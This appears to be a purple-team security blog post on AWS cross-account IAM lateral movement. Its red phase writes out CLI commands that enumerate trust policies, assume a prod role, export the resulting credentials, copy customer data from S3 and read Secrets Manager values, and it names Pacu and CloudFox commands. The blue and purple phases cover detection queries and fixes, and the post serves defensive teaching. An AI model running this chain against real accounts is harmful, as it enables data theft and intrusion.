What is purple team security? → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply chain attacks → Cloud Lateral Movement
TL;DR
- Cloud lateral movement IAM is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid
sts:AssumeRolecall - The structural vulnerability is a trust policy scoped too broadly —
arn:aws:iam::DEV_ACCOUNT:rootinstead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role - The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies →
aws sts assume-roleinto prod → access data lake S3 bucket → exfiltrate before detection fires - CloudTrail is the primary detection surface:
AssumeRoleevents where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern asRecon:IAMUser/UserPermissions - AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account
- The structural fix is three layers: scope trust policy to the specific source ARN, add
ExternalIdfor confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only
OWASP Mapping: A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.
The Big Picture
┌─────────────────────────────────────────────────────────────────────┐
│ CROSS-ACCOUNT IAM LATERAL MOVEMENT │
│ │
│ DEV ACCOUNT (111111111111) │
│ ┌────────────────────────────────────────────┐ │
│ │ Lambda: api-processor │ │
│ │ Execution Role: lambda-execution-role │◄── COMPROMISED │
│ │ │ │
│ │ Attacker has: access key for this role │ │
│ └───────────────────┬────────────────────────┘ │
│ │ │
│ │ sts:AssumeRole │
│ │ (cross-account API call) │
│ ▼ │
│ ┌─────────────────────────────────────────────┐ │
│ │ TRUST POLICY CHECK (prod account role) │ │
│ │ │ │
│ │ Principal: arn:aws:iam::111111111111:root │ │
│ │ ↑ TOO BROAD — any dev identity │ │
│ └───────────────────┬─────────────────────────┘ │
│ │ ALLOW │
│ ▼ │
│ PROD ACCOUNT (222222222222) │
│ ┌────────────────────────────────────────────┐ │
│ │ Role: datalake-reader │ │
│ │ Access: s3:GetObject on prod-datalake-* │ │
│ │ rds:Connect on prod-analytics-db │ │
│ │ secretsmanager:GetSecretValue │ │
│ └────────────────────┬───────────────────────┘ │
│ │ │
│ ▼ │
│ customer-data.parquet, analytics schemas, DB credentials │
│ ← exfiltrated in 23 minutes │
└─────────────────────────────────────────────────────────────────────┘
Cloud lateral movement IAM attacks succeed because the authentication step — the sts:AssumeRole call — works exactly as designed. The Lambda’s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.
The Incident: Dev Lambda to Prod Data Lake
Post-breach analysis. The attacker didn’t find a zero-day. They found a GitHub repository.
A developer had committed an .env file to a public repo containing AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for a Lambda execution role in the dev account. GitHub’s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.
That 58-minute window is the entire story.
The Lambda’s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn’t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the datalake-reader role in prod read:
"Principal": {"AWS": "arn:aws:iam::111111111111:root"}
Not the Lambda’s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume datalake-reader in prod.
The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.
The revelation: cloud lateral movement doesn’t require network pivoting. It requires finding one IAM trust relationship that’s too broad.
The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.
Red Phase: The Cross-Account Attack Chain
Step 1: Enumerate Trust Policies from a Compromised Role
An attacker’s first move inside a cloud environment is always the same: establish who they are and what they can reach.
aws sts get-caller-identity
# Returns:
# {
# "UserId": "AROAIOSFODNN7EXAMPLE:function-name",
# "Account": "111111111111",
# "Arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
# }
# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
--query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' \
--output json | \
jq '.[] | {
role: .[0],
principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
}'
# More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
jq --arg own_account "111111111111" \
'.Roles[] |
.AssumeRolePolicyDocument.Statement[] |
select(.Principal.AWS? |
strings |
test($own_account) | not
) |
{role: .Resource // "check-parent", principal: .Principal}'
# Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
--action-names sts:AssumeRole \
--resource-arns arn:aws:iam::222222222222:role/datalake-reader \
--query 'EvaluationResults[0].EvalDecision' \
--output text
# Returns: allowed
Step 2: Assume the Cross-Account Role
# Assume the target role — this is the lateral movement step
aws sts assume-role \
--role-arn arn:aws:iam::222222222222:role/datalake-reader \
--role-session-name "recon-$(date +%s)" \
--query 'Credentials'
# Returns:
# {
# "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "SessionToken": "IQoJb3JpZ2luX2...(truncated)",
# "Expiration": "2024-01-15T14:32:00Z"
# }
# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."
# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
# "Account": "222222222222", ← prod account
# "Arn": "arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920"
# }
Step 3: Enumerate and Exfiltrate from Prod
# What buckets are accessible from this role?
aws s3 ls
# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
awk '{print $3, $4}' | \
sort -rn | \
head -20
# Shows: file sizes and paths
# 15728640 customer-data/2024/01/customer-data.parquet
# 8388608 analytics/sessions/session-events.parquet
# ...
# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
--recursive \
--quiet
# Check for Secrets Manager access
aws secretsmanager list-secrets \
--query 'SecretList[].{Name:Name,LastRotated:LastRotatedDate}' \
--output table
aws secretsmanager get-secret-value \
--secret-id prod/analytics-db/credentials \
--query 'SecretString' \
--output text
Step 4: Role Chaining — Staying in the Environment
Role chaining is assuming one role then using that session to assume another. It extends the attacker’s reach without returning to the original compromised identity.
# From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
jq '.Roles[] |
select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? |
strings |
test("datalake-reader")
) | .RoleName'
# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
--role-arn arn:aws:iam::222222222222:role/analytics-admin \
--role-session-name "second-hop-$(date +%s)"
Tools Attackers Use for Cloud Lateral Movement Enumeration
Pacu (Rhino Security Labs): Modular AWS exploitation framework. The iam__enum_users_roles_policies_groups and iam__privesc_scan modules map the full IAM graph and identify assumption paths automatically.
# Pacu: enumerate IAM and find assumable roles
pacu
> run iam__enum_users_roles_policies_groups
> run iam__privesc_scan
CloudFox (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The assume-role command enumerates all roles the current identity can assume, including cross-account.
# CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2
# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
aws-recon: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.
Blue Phase: Detection
CloudTrail Signal: Cross-Account AssumeRole
Every sts:AssumeRole call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.
# Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--start-time "$(date -d '24 hours ago' --iso-8601=seconds)" \
--output json | \
jq '.Events[].CloudTrailEvent | fromjson |
select(
.requestParameters.roleArn != null and
(.userIdentity.accountId != null) and
(.requestParameters.roleArn | test(.userIdentity.accountId) | not)
) |
{
time: .eventTime,
source_identity: .userIdentity.arn,
source_account: .userIdentity.accountId,
assumed_role: .requestParameters.roleArn,
session_name: .requestParameters.roleSessionName,
source_ip: .sourceIPAddress
}'
The CloudTrail event structure for a cross-account assumption looks like this:
{
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRole",
"userIdentity": {
"type": "AssumedRole",
"accountId": "111111111111",
"arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
},
"requestParameters": {
"roleArn": "arn:aws:iam::222222222222:role/datalake-reader",
"roleSessionName": "recon-1705327920"
},
"sourceIPAddress": "203.0.113.42",
"userAgent": "aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0"
}
The key fields: userIdentity.accountId is 111111111111 (dev), requestParameters.roleArn contains 222222222222 (prod). Those two account IDs not matching is the cross-account signal.
A fresh compromise indicator: userAgent showing aws-cli for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don’t call the CLI — if you see aws-cli user agent on a Lambda role, that’s a human or automated tool using stolen credentials.
Athena Query: Cross-Account Assumptions Across the Organization
-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
eventtime,
useridentity.accountid AS source_account,
useridentity.arn AS source_identity,
requestparameters['roleArn'] AS target_role,
sourceipaddress,
useragent,
-- Flag: session created quickly after identity first seen (fresh compromise)
CASE
WHEN DATEDIFF(
'minute',
CAST(eventtime AS timestamp),
CURRENT_TIMESTAMP
) < 300 THEN 'RECENT'
ELSE 'AGED'
END AS session_age
FROM cloudtrail_logs
WHERE
eventsource = 'sts.amazonaws.com'
AND eventname = 'AssumeRole'
AND errorcode IS NULL
AND from_iso8601_timestamp(eventtime) > current_timestamp - interval '7' day
-- Cross-account: source account ID not in the target role ARN
AND useridentity.accountid NOT IN (
SELECT DISTINCT
REGEXP_EXTRACT(requestparameters['roleArn'], 'arn:aws:iam::(\d+):', 1)
FROM cloudtrail_logs
WHERE eventname = 'AssumeRole'
)
ORDER BY eventtime DESC;
GuardDuty Findings for IAM Lateral Movement
GuardDuty surfaces the following finding types relevant to cross-account lateral movement:
| Finding Type | What It Signals |
|---|---|
Recon:IAMUser/UserPermissions |
Identity enumerating IAM roles, policies, or permissions — consistent with Step 1 |
PrivilegeEscalation:IAMUser/AdministrativePermissions |
API calls attempting to gain admin access |
UnauthorizedAccess:IAMUser/TorIPCaller |
Assumed role used from Tor exit node |
CredentialAccess:IAMUser/AnomalousBehavior |
Credential access pattern deviates from baseline |
Exfiltration:S3/ObjectRead.Unusual |
S3 read volume spike — fires after the exfiltration in Step 3 |
# Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)
aws guardduty list-findings \
--detector-id "${DETECTOR_ID}" \
--finding-criteria '{
"Criterion": {
"type": {
"Equals": [
"Recon:IAMUser/UserPermissions",
"PrivilegeEscalation:IAMUser/AdministrativePermissions",
"CredentialAccess:IAMUser/AnomalousBehavior",
"Exfiltration:S3/ObjectRead.Unusual"
]
},
"severity": {
"GreaterThanOrEqualTo": 4
}
}
}' \
--query 'FindingIds' --output text | \
xargs -n 10 aws guardduty get-findings \
--detector-id "${DETECTOR_ID}" \
--finding-ids | \
jq '.Findings[] | {
type: .Type,
severity: .Severity,
account: .AccountId,
resource: .Resource.AccessKeyDetails.UserName,
created: .CreatedAt
}'
AWS Access Analyzer: Automated Trust Policy Audit
Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.
# List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
--query 'analyzers[0].arn' --output text)
aws accessanalyzer list-findings \
--analyzer-arn "${ANALYZER_ARN}" \
--filter '{"status": {"eq": ["ACTIVE"]}}' \
--output json | \
jq '.findings[] | {
id: .id,
resource_type: .resourceType,
resource: .resource,
principal: .principal,
action: .action,
condition: .condition,
created: .createdAt
}'
An Access Analyzer finding for the vulnerable trust policy looks like:
{
"id": "a1b2c3d4-...",
"resourceType": "AWS::IAM::Role",
"resource": "arn:aws:iam::222222222222:role/datalake-reader",
"principal": {"AWS": "arn:aws:iam::111111111111:root"},
"action": ["sts:AssumeRole"],
"condition": {},
"status": "ACTIVE"
}
The arn:aws:iam::111111111111:root principal with no condition block is the flag — the entire dev account, no restrictions.
Purple Phase: Structural Fixes
Fix 1: Scope the Trust Policy to the Specific Source ARN
This is the primary fix. The trust policy should name the exact role that needs access, not the account root.
// BAD — allows any identity in the dev account to assume this role
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:root"
},
"Action": "sts:AssumeRole"
}
]
}
// GOOD — only the specific Lambda execution role can assume this role
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:role/api-processor-lambda-execution-role"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "prod-datalake-access-v1"
}
}
}
]
}
# Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
--role-name datalake-reader \
--policy-document file://scoped-trust-policy.json
Fix 2: Add ExternalId for Confused Deputy Protection
ExternalId is a shared secret between the two parties establishing the cross-account trust. When the source role calls sts:AssumeRole, it must provide the ExternalId value, or the assumption is denied.
This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the ExternalId.
# Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
--role-arn arn:aws:iam::222222222222:role/datalake-reader \
--role-session-name "api-processor-job" \
--external-id "prod-datalake-access-v1"
# If ExternalId is wrong or absent: error — not authorized to assume role
The limitation: ExternalId does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the ExternalId value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.
Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions
Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.
// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account's OU
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RestrictCrossAccountAssumeRole",
"Effect": "Deny",
"Action": "sts:AssumeRole",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalAccount": [
"111111111111",
"333333333333"
]
},
"BoolIfExists": {
"aws:PrincipalIsAWSService": "false"
}
}
}
]
}
This SCP denies any sts:AssumeRole call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.
Fix 4: Enable Access Analyzer Organization-Wide
Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.
# Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
--analyzer-name org-wide-access-analyzer \
--type ORGANIZATION \
--tags '{"Environment": "production", "Team": "security"}'
# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
--query "analyzers[?type=='ORGANIZATION'].arn | [0]" \
--output text)
aws accessanalyzer list-findings \
--analyzer-arn "${ANALYZER_ARN}" \
--filter '{"resourceType": {"eq": ["AWS::IAM::Role"]}, "status": {"eq": ["ACTIVE"]}}' \
--output json | \
jq '.findings[] | {resource: .resource, principal: .principal}'
Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles
Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.
The federated identity trust boundaries approach using OIDC workload identity removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no sts:AssumeRole call in CloudTrail to detect because the assumption never happens.
Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level
GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.
# Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)
aws guardduty update-organization-configuration \
--detector-id "${DETECTOR_ID}" \
--auto-enable \
--data-sources '{
"S3Logs": {"AutoEnable": true},
"Kubernetes": {"AuditLogs": {"AutoEnable": true}},
"MalwareProtection": {"ScanEc2InstanceWithFindings": {"AutoEnable": true}}
}'
⚠ Production Gotchas
ExternalId doesn’t protect you if the source account is compromised. The attacker who holds the dev Lambda’s execution role credentials also has access to the Lambda’s environment variables and source code — where the ExternalId value is likely stored. ExternalId is not a secret the attacker can’t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.
Access Analyzer only catches public and cross-account access, not intra-account lateral movement. If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won’t show them.
Role chaining resets the session clock but the window is still one hour. sts:AssumeRole sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated AssumeRole calls in CloudTrail that form a detectable pattern if you’re querying for it.
S3 exfiltration may not trigger GuardDuty immediately. GuardDuty’s Exfiltration:S3/ObjectRead.Unusual finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears “normal” relative to what GuardDuty has seen from that role before. CloudTrail GetObject events are the reliable signal; don’t rely on GuardDuty alone for S3 exfiltration detection.
arn:aws:iam::ACCOUNT:root in a trust policy does not mean the root user specifically. This is a common misread. arn:aws:iam::123456789012:root means any principal in account 123456789012 — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it’s dangerous in a cross-account trust policy.
Quick Reference
| Lateral Movement Technique | CloudTrail Signal | Detection Tool | Structural Fix |
|---|---|---|---|
Cross-account sts:AssumeRole |
AssumeRole where source accountId ≠ target accountId in role ARN |
CloudTrail + Athena query | Scope Principal to specific role ARN |
| Account root as trust principal | Access Analyzer ACTIVE finding on IAM Role | AWS Access Analyzer | Replace root with specific ARN + ExternalId |
| Role chaining across accounts | Multiple sequential AssumeRole events, each with new session token |
CloudTrail session correlation | SCP restricting cross-account assumptions to approved pairs |
| Exfiltration via assumed prod role | S3 GetObject/ListBucket from assumed-role session in CloudTrail |
CloudTrail + GuardDuty Exfiltration:S3/ObjectRead.Unusual |
Least-privilege S3 policy on prod role + S3 Access Logs |
| IAM enumeration from compromised identity | iam:ListRoles, iam:GetRole, iam:SimulatePrincipalPolicy |
GuardDuty Recon:IAMUser/UserPermissions |
Deny iam:* on Lambda execution roles |
| Secrets Manager access via assumed role | secretsmanager:GetSecretValue from unexpected principal |
CloudTrail resource policy audit | Attach resource policy to secrets scoping allowed principals |
Key Takeaways
- Cloud lateral movement IAM chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network
- Every cross-account trust policy that uses
arn:aws:iam::ACCOUNT:rootas the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do - CloudTrail
AssumeRoleevents where the principal’s account ID doesn’t match the target role’s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back - AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you’re not running it, you’re auditing trust policies manually or not at all
- IAM privilege escalation paths and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further
- Defense in depth requires all three layers: scoped trust policy principal,
ExternalIdcondition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass
What’s Next
EP11 is where the series pivots from attack paths to detection engineering. We’ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?
The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the aws sts assume-role subprocess spawn, the credential file write, and the outbound S3 connection — while it’s happening.
Get EP11 in your inbox when it publishes → subscribe at linuxcent.com


